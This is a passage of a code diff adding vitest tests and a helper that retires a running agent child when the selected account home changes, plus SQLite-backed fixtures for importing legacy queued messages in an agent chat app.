b/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.test.ts @@ -1,3 +1,21 @@ +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { dirname, join } from 'node:path' +import { testOrcaSessionId } from '../../../shared/orca-session-address-test-fixture' +import { acquiredAgentSessionAccount } from '../../../shared/agent-session-acquired-account' +import { agentSessionAccountHome } from '../../../shared/agent-session-account-home' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { installClaudeProfileRouter } from '../../claude-accounts/claude-profile-installed-router' +import { + ClaudeProfileRouter, + type ClaudeProfileRouterSettings +} from '../../claude-accounts/claude-profile-router' +import type { ClaudeProfileSetupReport } from '../../claude-accounts/claude-profile-setup' +import { prepareClaudeReceivingAccount } from '../../claude/claude-receiving-account' +import { CLAUDE_STRUCTURED_AGENT } from '../../claude/claude-structured-agent-definition' +import { resolveStructuredClaudeAccountHomePath } from '../../runtime/structured-agent-account-home' +import { createReceivingAccountFixture } from './structured-agent-session-receiving-account.test-support' +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { agentSessionFailureFact } from '../../../shared/agent-session-failure' import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' @@ -7,9 +25,13 @@ import { foundRestTestChat, REST_TEST_CALLER as CALLER, REST_TEST_SESSION as SESSION, + IDLE_MS, restTestSend, + sweepOnce, + sweepTicks, type RestTestRig } from './structured-agent-session-rest-test-rig' +import { hostTestAttachParams } from './structured-agent-session-host-test-data' import { retireOutgrownStructuredAgentSessionChild, structuredAgentSessionChildReportedSignedOut @@ -22,6 +44,231 @@ import type { } from '../../../shared/agent-session-journal-types' import type { AgentChildWorkView } from '../../../shared/agent-status-child-work-view' import type { JournalItemLinkageVisitor } from '../agent-session-journal/journal-store-contracts' +import type { LegacyAgentSessionAccountHome } from '../../../shared/agent-session-account-home' + +const accountHome = (path: string): LegacyAgentSessionAccountHome => ({ + variable: 'CODEX_HOME', + path +}) + +describe('a send after the account was switched', () => { + let rig: RestTestRig + let selected = accountHome('/accounts/a') + + beforeEach(async () => { + selected = accountHome('/accounts/a') + rig = await createRestTestRig({ launchAccountHome: async () => selected }) + const acquire = rig.adapter.acquire.getMockImplementation() + if (!acquire) { + throw new Error('the rig acquires through a mock implementation') + } + rig.adapter.acquire.mockImplementation(async (request) => ({ + ...(await acquire(request)), + accountHome: selected + })) + }) + + afterEach(async () => { + await rig.dispose() + }) + + const fence = () => rig.store.getRecord(SESSION)?.lease.runtimeFence ?? 1 + + it('goes to a new agent on the new account, and that agent is kept for the sends after it', async () => { + await foundRestTestChat(rig) + expect((await rig.host.send(CALLER, restTestSend('on a', fence()))).ok).toBe(true) + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(2)) + expect(rig.adapter.acquire).toHaveBeenCalledTimes(1) + + selected = accountHome('/accounts/b') + expect((await rig.host.send(CALLER, restTestSend('on b', fence()))).ok).toBe(true) + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(3)) + expect(rig.adapter.closeSession).toHaveBeenCalledWith(SESSION, undefined) + expect(rig.adapter.acquire).toHaveBeenCalledTimes(2) + + expect((await rig.host.send(CALLER, restTestSend('still b', fence()))).ok).toBe(true) + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(4)) + expect(rig.adapter.acquire).toHaveBeenCalledTimes(2) + }) +}) + +describe('a send while the selected account folder is not set up yet', () => { + const PROVIDER = 'provider-setup-boundary' + const roots: string[] = [] + let rig: RestTestRig + let router: ClaudeProfileRouter + let settings: ClaudeProfileRouterSettings + let setup: { + resolve: (report: ClaudeProfileSetupReport) => void + reject: (error: Error) => void + promise: Promise + } + const home = (id: string) => router.accountHome(id) + const ready = (id: string) => { + mkdirSync(home(id), { recursive: true }) + writeFileSync(join(dirname(home(id)), 'profile.json'), '{}') + } + + beforeEach(async () => { + const root = mkdtempSync(join(tmpdir(), 'orca-account-setup-')) + roots.push(root) + settings = { + claudeManagedAccounts: [], + activeClaudeManagedAccountId: 'a', + activeClaudeManagedAccountIdsByRuntime: undefined, + agentStatusHooksEnabled: false, + disabledTuiAgents: [] + } + let resolve!: (report: ClaudeProfileSetupReport) => void + let reject!: (error: Error) => void + const promise = new Promise((res, rej) => { + resolve = res + reject = rej + }) + promise.catch(() => {}) + setup = { resolve, reject, promise } + router = new ClaudeProfileRouter({ + getSettings: () => settings, + dataRoot: root, + userHome: join(root, 'personal'), + env: {}, + runSetup: () => setup.promise + }) + installClaudeProfileRouter(router) + ready('a') + rig = await createRestTestRig({ + // The production resolver hop: only dispatch identity skips the availability check. + launchAccountHome: async (_record, purpose) => + agentSessionAccountHome( + CLAUDE_STRUCTURED_AGENT, + resolveStructuredClaudeAccountHomePath({ + launchEnv: {}, + wslDistro: null, + ...(purpose === 'identity' ? { purpose } : {}), + getClaudeConfigDirectory: () => router.systemDefaultHome() + }) + ) + }) + const base = rig.adapter.acquire.getMockImplementation() + if (!base) { + throw new Error('the rig acquires through a mock implementation') + } + rig.adapter.acquire.mockImplementation(async (input) => { + // The real router prepares the selected account, joining or failing its setup, as a launch does. + const recipe = await prepareClaudeReceivingAccount(router, {}, home('a'), input.accountRecipe) + const acquired = await base(input) + if (!acquired.link) { + throw new Error('the rig acquisition always links a provider handle') + } + return { + ...acquired, + accountHome: agentSessionAccountHome(CLAUDE_STRUCTURED_AGENT, recipe.home), + accountRecipe: recipe, + link: { ...acquired.link, handle: claudeProviderHandle(PROVIDER, null) } + } + }) + const attached = await rig.host.attach( + CALLER, + hostTestAttachParams(null, { + provider: 'claude', + agent: 'claude', + accountHome: agentSessionAccountHome(CLAUDE_STRUCTURED_AGENT, home('a')), + providerHandle: { kind: 'claude', sessionId: PROVIDER, leafUuid: null } + }) + ) + expect(attached.ok).toBe(true) + await rig.store.setSessionTabVisibility(SESSION, true) + }) + + afterEach(async () => { + await rig.dispose() + installClaudeProfileRouter(undefined) + roots.splice(0).forEach((root) => rmSync(root, { recursive: true, force: true })) + }) + + const fence = () => rig.store.getRecord(SESSION)?.lease.runtimeFence ?? 1 + const send = async (text: string) => { + const sent = await rig.host.send(CALLER, restTestSend(text, fence())) + expect(sent.ok).toBe(true) + return sent.ok ? sent.value.clientMessageId : '' + } + const submission = async (id: string) => + (await rig.host.journalSnapshot(SESSION)).submissions.find( + (entry) => entry.clientMessageId === id + ) + const launchedHome = () => { + const record = rig.store.getRecord(SESSION) + return record ? acquiredAgentSessionAccount(record)?.recipe.home : undefined + } + const setupFailed = { rejection: expect.objectContaining({ kind: 'claudeAccountSetupFailed' }) } + + it('stops the live agent for an account being set up, fails each input once if setup fails, and starts the next send on it once ready', async () => { + await send('on a') + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(1)) + expect(launchedHome()).toBe(home('a')) + + settings.activeClaudeManagedAccountId = 'b' + const first = await send('to b') + await vi.waitFor(() => expect(rig.adapter.acquire).toHaveBeenCalledTimes(2)) + expect(rig.adapter.closeSession).toHaveBeenCalledWith(SESSION, undefined) + expect(rig.adapter.dispatch).toHaveBeenCalledTimes(1) + const second = await send('also to b') + + setup.reject(new Error('setup refused')) + await vi.waitFor(async () => + expect(await submission(first)).toMatchObject({ dispatchState: 'rejected', ...setupFailed }) + ) + await vi.waitFor(async () => + expect(await submission(second)).toMatchObject({ dispatchState: 'rejected', ...setupFailed }) + ) + expect(launchedHome()).not.toBe(home('b')) + const attempts = rig.adapter.acquire.mock.calls.length + await sweepTicks() + expect(rig.adapter.acquire).toHaveBeenCalledTimes(attempts) + expect(rig.adapter.dispatch).toHaveBeenCalledTimes(1) + + ready('b') + await send('b is ready') + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(2)) + expect(launchedHome()).toBe(home('b')) + const settled = rig.adapter.acquire.mock.calls.length + await send('still b') + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(3)) + expect(rig.adapter.acquire).toHaveBeenCalledTimes(settled) + }) + + it('keeps the live agent when its own selected folder disappears', async () => { + await send('on a') + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(1)) + rmSync(home('a'), { recursive: true, force: true }) + await send('still on a') + await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledTimes(2)) + expect(rig.adapter.closeSession).not.toHaveBeenCalled() + expect(rig.adapter.acquire).toHaveBeenCalledTimes(1) + }) + + it('starts a resting chat through account preparation instead of refusing the read', async () => { + // Attach started the child on a; idle release puts the chat at rest before the switch. + rig.clock.now += IDLE_MS + 1 + await sweepOnce(rig.host) + await vi.waitFor(() => + expect(rig.adapter.closeSession).toHaveBeenCalledWith(SESSION, undefined) + ) + expect(rig.adapter.acquire).toHaveBeenCalledTimes(1) + settings.activeClaudeManagedAccountId = 'b' + setup.reject(new Error('setup refused')) + const id = await send('from rest') + await vi.waitFor(async () => + expect(await submission(id)).toMatchObject({ dispatchState: 'rejected', ...setupFailed }) + ) + // The start reached acquisition (which prepares and fails typed) instead of a read refusal. + expect(rig.adapter.acquire).toHaveBeenCalledTimes(2) + // Reads that describe the chat still report the missing folder; only dispatch identity ignores it. + await expect(rig.host.prospectiveAccountHome(SESSION)).rejects.toMatchObject({ + reason: 'claudeAccountFolderMissing' + }) + }) +}) describe('a send after the agent said it is not signed in', () => { let rig: RestTestRig @@ -249,6 +496,79 @@ describe('retireOutgrownStructuredAgentSessionChild', () => { ) }) + describe('a child launched under another account', () => { + const onA = { child: childAt({ accountHome: accountHome('/accounts/a') }) } + const stops = async ( + input: Parameters[0], + now: () => Promise, + work: Partial = {} + ) => { + const stopAgent = vi.fn(async () => undefined) + await retireOutgrownStructuredAgentSessionChild('session', conversation(input), { + work: { ...idle, ...work }, + launchAccountHome: now, + stopAgent, + logger: { warn: vi.fn(), error: vi.fn() } + }) + return stopAgent.mock.calls.length > 0 + } + + it('is stopped when a start would launch under another account, and kept under the same one', async () => { + expect(await stops(onA, async () => accountHome('/accounts/b'))).toBe(true) + expect(await stops(onA, async () => accountHome('/accounts/a'))).toBe(false) + }) + + it('is kept mid-reply, with work open, or while starting', async () => { + const onB = async () => accountHome('/accounts/b') + expect(await stops(onA, onB, owing('turn-1', false))).toBe(false) + expect(await stops(onA, onB, { childWorkOpen: () => true })).toBe(false) + const starting = { + child: childAt({ accountHome: accountHome('/accounts/a'), phase: 'starting' }) + } + expect(await stops(starting, onB)).toBe(false) + }) + + it('keeps account custody with an open Dispatch even when the model also needs a restart', async () => { + for (const modelTransition of [false, true]) { + let open = true + const stopAgent = vi.fn(async () => undefined) + const deps = { + work: { ...idle, hasOpenDispatch: () => open }, + launchAccountHome: async () => accountHome('/accounts/b'), + requiresModelTransitionRestart: () => modelTransition, + next: { + clientMessageId: 'next', + fence: 2, + payloadFingerprint: 'next', + dispatchState: 'pending' as const, + providerItemId: null, + reason: null, + submittedAt: 0, + resolvedAt: null + }, + stopAgent, + logger: { warn: vi.fn(), error: vi.fn() } + } + const session = conversation(onA) + await retireOutgrownStructuredAgentSessionChild('session', session, deps) + expect(stopAgent).not.toHaveBeenCalled() + open = false + await retireOutgrownStructuredAgentSessionChild('session', session, deps) + expect(stopAgent).toHaveBeenCalledExactlyOnceWith('session') + } + }) + + it('is kept when the account cannot be read, or the agent keeps its own', async () => { + expect( + await stops(onA, async () => { + throw new Error('native evidence is unreadable') + }) + ).toBe(false) + expect(await stops(onA, async () => null)).toBe(false) + expect(await stops({ child: childAt() }, async () => accountHome('/accounts/b'))).toBe(false) + }) + }) + describe('a child launched with another permission mode', () => { const now = (mode: AgentChatPermissionChoice) => vi.fn(async () => mode) const askChild = { child: childAt({ permissionMode: 'ask' }) } @@ -297,4 +617,67 @@ describe('retireOutgrownStructuredAgentSessionChild', () => { expect(current).not.toHaveBeenCalled() }) }) + + it('keeps healthy acquired Claude A for canonical native result mail without provider children', async () => { + const fixture = await createReceivingAccountFixture() + try { + await fixture.turn('completed-lead', 'completed') + const next = await fixture.submit({ + kind: 'message', + role: 'user', + blocks: [ + { + type: 'text', + text: 'You have 1 orchestration message. Run `orca-dev orchestration check --run run_01227aad9fcf`.' + } + ], + from: { + kind: 'agent', + senders: [ + { + party: { + address: 'structworker_e7f53907-0cde-40b9-81c5-d18eb66c07a4', + terminalHandle: 'structworker_e7f53907-0cde-40b9-81c5-d18eb66c07a4', + orcaSessionId: testOrcaSessionId('d93bb955-2f5f-4206-93e9-cbbc9460d7e3') + }, + name: 'QA30955 wake-home child' + } + ], + orchestration: { + message: 'mail-notice', + mailbox: 'run:run_01227aad9fcf', + dispatchId: null, + messages: [ + { + messageId: 'msg_1df05968e9bb', + runId: 'run_01227aad9fcf', + from: 'structworker_e7f53907-0cde-40b9-81c5-d18eb66c07a4' + } + ] + } + } + }) + const child = fixture.session.child + const stopAgent = vi.fn(async () => undefined) + await retireOutgrownStructuredAgentSessionChild(fixture.root, fixture.session, { + next, + work: idle, + launchAccountHome: async () => + ( + await structuredAgentSessionReceivingAccount( + fixture.deps, + fixture.record, + fixture.session, + next + ) + ).home, + stopAgent, + logger: { warn: vi.fn(), error: vi.fn() } + }) + expect(stopAgent).not.toHaveBeenCalled() + expect(fixture.session.child).toBe(child) + } finally { + await fixture.dispose() + } + }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.ts index 0583009be07..fa98c7a6b11 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.ts @@ -13,6 +13,10 @@ import { import type { StructuredAgentSessionLogger } from './structured-agent-session-logger' import type { AgentChatPermissionChoice } from '../../../shared/agent-chat-permission-mode' import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import { + agentSessionAccountHomesEqual, + type AgentSessionAccountHome +} from '../../../shared/agent-session-account-home' type OutgrownChildReading = Pick & { journal: Pick< @@ -102,6 +106,19 @@ function picksNewLaunchModel( ) } +/** Loop-free while a start launches under the account `current` reads; a read that throws is no + * answer, so unreadable account evidence replaces nothing. */ +async function launchedUnderOtherAccount( + child: OutgrownChildReading['child'], + current: (() => Promise) | undefined +): Promise { + if (!child || child.phase === 'starting' || child.close || !child.accountHome || !current) { + return false + } + const home = await current().catch(() => null) + return home !== null && !agentSessionAccountHomesEqual(home, child.accountHome) +} + /** Retire under serialization only when no work is owed; failed Stop leaves a close for startup to join. */ export async function retireOutgrownStructuredAgentSessionChild( sessionId: string, @@ -112,6 +129,7 @@ export async function retireOutgrownStructuredAgentSessionChild( childWork: () => readonly AgentChildWorkView[] | undefined } launchPermission?: () => Promise + launchAccountHome?: () => Promise /** The send about to be handed over; a new model pick may need the requested approval mode. */ next?: AgentJournalSubmission requiresModelTransitionRestart?: (next: AgentJournalSubmission) => boolean @@ -129,7 +147,8 @@ export async function retireOutgrownStructuredAgentSessionChild( session.child, deps.launchPermission, deps.permissionRequiresAcquisition - )) + )) || + (await launchedUnderOtherAccount(session.child, deps.launchAccountHome)) ) || structuredAgentSessionChildOwesWork(session.journal, deps.work) ) { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts index 4e4587b2c18..aaa088eb352 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-prompt-cancel.test.ts @@ -328,35 +328,6 @@ describe("a card's own Cancel, as its provider answers it", () => { return { result, routes, answerPrompt, dismissPrompt, card } } - describe('on an approval whose subject a newer Orca wrote, which only its Cancel answers', () => { - const NEWER_SUBJECT: AgentJournalApprovalSubject = JSON.parse('{"kind":"diff","path":"a.ts"}') - - it('has Claude decline the request, the turn going on, and keeps the subject as it was', async () => { - const { routes, dismissPrompt, card } = await cancelCard( - { kind: 'dismiss' }, - 1, - true, - true, - NEWER_SUBJECT - ) - - expect(dismissPrompt).toHaveBeenCalledWith(expect.objectContaining({ answer: true })) - expect(routes.interrupt).not.toHaveBeenCalled() - expect(routes.stop).not.toHaveBeenCalled() - expect(card).toMatchObject({ - subject: { kind: 'diff', path: 'a.ts' }, - resolution: { state: 'cancelled' } - }) - }) - - it('has Codex end the turn holding it', async () => { - const { routes, dismissPrompt } = await cancelCard(undefined, 1, true, true, NEWER_SUBJECT) - - expect(routes.interrupt).toHaveBeenCalledOnce() - expect(dismissPrompt).not.toHaveBeenCalled() - }) - }) - it('interrupts the turn holding the card for a provider that gives no answer', async () => { const { routes, answerPrompt } = await cancelCard(undefined) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-contract-test-fixture.ts new file mode 100644 index 00000000000..f80288b9d12 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-contract-test-fixture.ts @@ -0,0 +1,161 @@ +import { afterEach, beforeEach, expect } from 'vitest' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalAnsweredTurnIdentity, + type AgentJournalMessageItem +} from '../../../shared/agent-session-journal-types' +import { activeProviderContext } from '../../../shared/agent-session-provider-context' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { + openTestJournalHostDatabase, + readTestQueueChanges +} from '../agent-session-journal/journal-host-database-test-support' +import { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' +import { + createQueuedMessageTestRig, + type QueuedMessageTestRig +} from './structured-agent-session-queued-message-rig.test-fixture' + +let rig: QueuedMessageTestRig + +beforeEach(async () => { + rig = await createQueuedMessageTestRig({ restartable: true, rewind: async () => ({ ok: true }) }) +}) + +afterEach(() => rig.dispose()) + +export const db = () => openTestJournalHostDatabase(rig.root).db + +export const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }], + ...(text === '/compact' ? { command: { name: 'compact' } } : {}) +}) + +export const threadWrite = { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + +export const words = (fact: 'providerRejected' | 'cancelled') => + agentSessionFailureWords( + fact === 'providerRejected' + ? agentSessionFailureFact(fact, { detail: { text: 'refused', audience: 'person' } }) + : agentSessionFailureFact(fact), + { surface: 'rejection' } + ) + +export function journalFor(sessionId: string): AgentSessionJournal { + return new AgentSessionJournal({ + database: openTestJournalHostDatabase(rig.root), + identity: { + sessionId, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: activeProviderContext(rig.store.getRecord(SESSION)!).head!.handle + } + }) +} + +export async function handOff( + journal: AgentSessionJournal, + attempt: string, + card: string, + text: string, + as: 'providerRejected' | 'cancelled' | 'accepted', + fence = 0, + beforeAnswer?: () => Promise, + answeredInTurn?: AgentJournalAnsweredTurnIdentity +): Promise { + const body = message(text) + const payloadFingerprint = agentSessionSendBodyFingerprint(journal.queuedMessages.sessionId, body) + await journal.appendSubmission({ + clientMessageId: attempt, + payloadFingerprint, + body, + fence, + handoverRecorded: true, + queuedMessageId: card + }) + await journal.resolveDispatch({ + clientMessageId: attempt, + state: 'pending', + fence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await beforeAnswer?.() + await journal.resolveDispatch( + as === 'accepted' + ? { clientMessageId: attempt, state: 'accepted', providerIdentity: null, fence } + : { clientMessageId: attempt, state: 'rejected', ...words(as), fence, answeredInTurn } + ) +} + +export type Legacy = [ + id: string, + state: string, + text: string | null, + consumedAs?: string, + hold?: string +] + +export function seedLegacy(sessionId: string, rows: readonly Legacy[]): void { + const insert = db().prepare( + `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, + created_at, host_instance, state, hold_reason, returned_reason, consumed_as) + VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)` + ) + rows.forEach(([id, state, text, consumedAs, hold], index) => { + const body = text === null ? '{' : JSON.stringify(message(text)) + const print = text === null ? '' : agentSessionSendBodyFingerprint(sessionId, message(text)) + const reason = state === 'returned' ? 'refused before' : null + insert.run( + sessionId, + id, + index + 1, + body, + print, + state, + hold ?? null, + reason, + consumedAs ?? null + ) + }) +} + +export const legacyIds = (sessionId = SESSION) => + db() + .prepare('SELECT message_id AS id FROM queued_messages WHERE session_id = ? ORDER BY position') + .all(sessionId) + .map((row) => (typeof row === 'object' && row !== null && 'id' in row ? row.id : null)) + +export function queueRows(sessionId = SESSION): string[] { + return readTestQueueChanges(db(), sessionId).map( + ({ messageId, op, returned }) => `${messageId}:${op}${returned ? '+refusal' : ''}` + ) +} + +export async function nothingSentTo(...cards: string[]): Promise { + await new Promise((resolve) => setTimeout(resolve, 100)) + for (const card of cards) { + expect(await rig.handoff(card)).toBeUndefined() + } +} + +export const retainedHistoryCases = [ + { adopt: false, proof: 'none' }, + { adopt: true, proof: 'none' }, + { adopt: false, proof: 'dispatch' }, + { adopt: true, proof: 'item' } +] + +export const fixture = { + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-retained-history.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-retained-history.test.ts new file mode 100644 index 00000000000..e7205de6c27 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-retained-history.test.ts @@ -0,0 +1,206 @@ +import { expect, it } from 'vitest' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { + EMPTY_STRUCTURED_AGENT_SESSION, + reduceStructuredAgentSession +} from '../../../shared/structured-agent-session-reducer' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { readAgentSessionHistory } from './agent-session-history-page' +import { subscriberHistoryReader } from './agent-session-bounded-frames' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + +import { + db, + handOff, + journalFor, + message, + retainedHistoryCases, + seedLegacy, + threadWrite +} from './structured-agent-session-queue-import-contract-test-fixture' + +it.each(retainedHistoryCases)('retained history: $adopt / $proof', async ({ adopt, proof }) => { + const earlier = journalFor(SESSION) + await earlier.open() + const append = async (journal: AgentSessionJournal, ordinal: number) => { + await journal.appendItem( + { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, + { ...message('x'.repeat(4_000)), role: 'assistant' }, + { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } + await append(earlier, 0) + await handOff( + earlier, + 'u', + 'q', + 'stopped words', + 'cancelled', + 0, + async () => { + for (let index = 1; index <= 205; index++) { + await append(earlier, index) + } + }, + proof === 'none' + ? undefined + : { + turn: { provider: 'codex', threadId: 'history', turnId: 't', ordinal: -1 }, + via: 'steer' + } + ) + const stale = readAgentSessionHistory(earlier, { sessionId: SESSION, direction: 'tail' }) + expect(stale.ok).toBe(true) + await earlier.close() + seedLegacy(SESSION, [['q', 'waiting', 'stopped words']]) + if (!adopt) { + db().exec(`CREATE TEMP TRIGGER b2_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + } + const journal = journalFor(SESSION) + await journal.open() + if (!adopt) { + db().exec('DROP TRIGGER b2_fail_import') + } + const queue = { queuedMessages: [], queuePause: null, nextQueuedMessageId: null } + const feed = new AgentSessionSubscribers({ readQueuePublication: () => queue }) + const base = { sessionId: SESSION, journal, fence: 0 } + const oldEvents: AgentSessionSubscribeEvent[] = [] + feed.open({ + ...base, + id: 'old', + cursor: journal.cursor(), + snapshotCatchUp: false, + readsCurrentRequests: false, + emit: (event) => oldEvents.push(event) + }) + expect(oldEvents).toEqual([ + { + type: 'batch', + sessionId: SESSION, + fence: 0, + hostNow: expect.any(Number), + activity: null, + ...queue, + batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } + } + ]) + const corrected: AgentSessionSubscribeEvent[][] = [] + const clients: (() => ReturnType)[] = [] + for (const boundedFrames of [false, true]) { + let state = reduceStructuredAgentSession(EMPTY_STRUCTURED_AGENT_SESSION, { + type: 'history-page', + page: structuredClone(stale.page) + }) + const events: AgentSessionSubscribeEvent[] = [] + corrected.push(events) + clients.push(() => state) + const reader = subscriberHistoryReader({ boundedFrames }) + feed.open({ + ...base, + id: `new-${boundedFrames}`, + cursor: journal.cursor(), + boundedFrames, + snapshotCatchUp: true, + readsCurrentRequests: true, + emit: (event) => { + events.push(event) + state = reduceStructuredAgentSession(state, { + type: 'event', + event: structuredClone(event) + }) + } + }) + expect(events[0]?.type).toBe('snapshot') + while (state.hasOlder) { + const requestedCursor = { epoch: journal.epoch, sequence: state.items[0]!.sequence } + const older = readAgentSessionHistory( + journal, + { sessionId: SESSION, direction: 'before', cursor: requestedCursor }, + { reader } + ) + expect(older.ok).toBe(true) + state = reduceStructuredAgentSession(state, { + type: 'older-page', + requestedCursor, + page: structuredClone(older.page) + }) + } + const canonical = journal.snapshot() + expect([state.items, state.submissions]).toEqual([canonical.items, canonical.submissions]) + feed.publish(SESSION, journal) + await append(journal, 205) + feed.publish(SESSION, journal) + } + const cursor = journal.cursor() + const after = readAgentSessionHistory(journal, { + sessionId: SESSION, + direction: 'after', + cursor + }) + expect(after).toMatchObject({ ok: false, reset: 'cursor_compacted' }) + if (!adopt) { + await journal.queuedMessages.importAtOpen() + feed.publish(SESSION, journal) + } + if (proof !== 'none') { + const placed = journal + .snapshot() + .items.find((item) => item.itemId === agentJournalSubmissionKey('u')) + const loaded = clients.map((client) => client().items.length) + const normalizationKey = journal.publicRead().normalizationKey + const identity = { + provider: 'codex' as const, + threadId: 'history', + turnId: 't', + ordinal: 206 + } + if (proof === 'dispatch') { + await journal.acceptLate({ + clientMessageId: 'u', + state: 'accepted', + fence: 0, + providerIdentity: identity + }) + } + await journal.appendItem(identity, message('stopped words'), threadWrite) + feed.publish(SESSION, journal) + expect(journal.submission('u')?.dispatchState).toBe('accepted') + expect(journal.receiptFor('u')).not.toBeNull() + expect(journal.publicRead().normalizationKey).toBe(normalizationKey) + expect(clients.map((client) => client().items.length)).toEqual(loaded) + for (const client of clients) { + expect(client().items.find((item) => item.itemId === placed?.itemId)).toMatchObject({ + sequence: placed?.sequence, + observedAt: placed?.observedAt, + turnScope: placed?.turnScope, + revision: 1 + }) + expect( + client().submissions.find((submission) => submission.clientMessageId === 'u')?.dispatchState + ).toBe('accepted') + } + } + expect( + corrected.map((events) => events.filter((event) => event.type === 'snapshot').length) + ).toEqual([1, 1]) + expect(oldEvents.every((event) => event.type === 'batch')).toBe(true) + await journal.close() + const reopened = journalFor(SESSION) + await reopened.open() + const resumed: AgentSessionSubscribeEvent[] = [] + new AgentSessionSubscribers().open({ + ...base, + journal: reopened, + id: 'reopen', + cursor: reopened.cursor(), + snapshotCatchUp: true, + readsCurrentRequests: true, + emit: (event) => resumed.push(event) + }) + expect(resumed[0]?.type).toBe('snapshot') + await reopened.close() +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-reuse.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-reuse.test.ts new file mode 100644 index 00000000000..62463e7ce2b --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-reuse.test.ts @@ -0,0 +1,207 @@ +import { expect, it, vi } from 'vitest' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { createAgentSessionCatchUpReader } from './agent-session-history-page' +import { + HOST_TEST_SESSION as SESSION, + hostTestOperationId +} from './structured-agent-session-host-test-data' +import { + eventually, + QUEUED_RIG_CALLER as CALLER +} from './structured-agent-session-queued-message-rig.test-fixture' + +import { + fixture, + type Legacy, + db, + handOff, + journalFor, + legacyIds, + message, + nothingSentTo, + seedLegacy, + threadWrite +} from './structured-agent-session-queue-import-contract-test-fixture' + +it.each([100, 1_000])('raw selection reuse: %i waiting cards', async (size) => { + const journal = journalFor(SESSION) + const rows = Array.from({ length: size }, (_, i): Legacy => [`waiting-${i}`, 'waiting', 'words']) + seedLegacy(SESSION, rows) + db().exec(`CREATE TEMP TRIGGER b2_raw_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + await journal.open() + expect(legacyIds()).toHaveLength(size) + const feed = new AgentSessionSubscribers() + const base = { sessionId: SESSION, journal, fence: 0, cursor: journal.cursor() } + const received: AgentSessionSubscribeEvent[][] = [[], [], []] + received.forEach((events, index) => + feed.open({ + ...base, + id: String(index), + boundedFrames: index === 1, + snapshotCatchUp: index !== 2, + readsCurrentRequests: index !== 2, + emit: (event) => events.push(event) + }) + ) + let visits = 0 + const flatMap = Array.prototype.flatMap + const scans = vi.spyOn(Array.prototype, 'flatMap') + scans.mockImplementation(function (this: { messageId?: string }[], callback, thisArg) { + const legacy = this.length === size && this[0]?.messageId === 'waiting-0' + return flatMap.call(this, (...args) => { + visits += legacy ? 1 : 0 + return callback.apply(thisArg, args) + }) + }) + try { + const turn = { provider: 'codex' as const, threadId: 'progress', turnId: 't', ordinal: 0 } + await 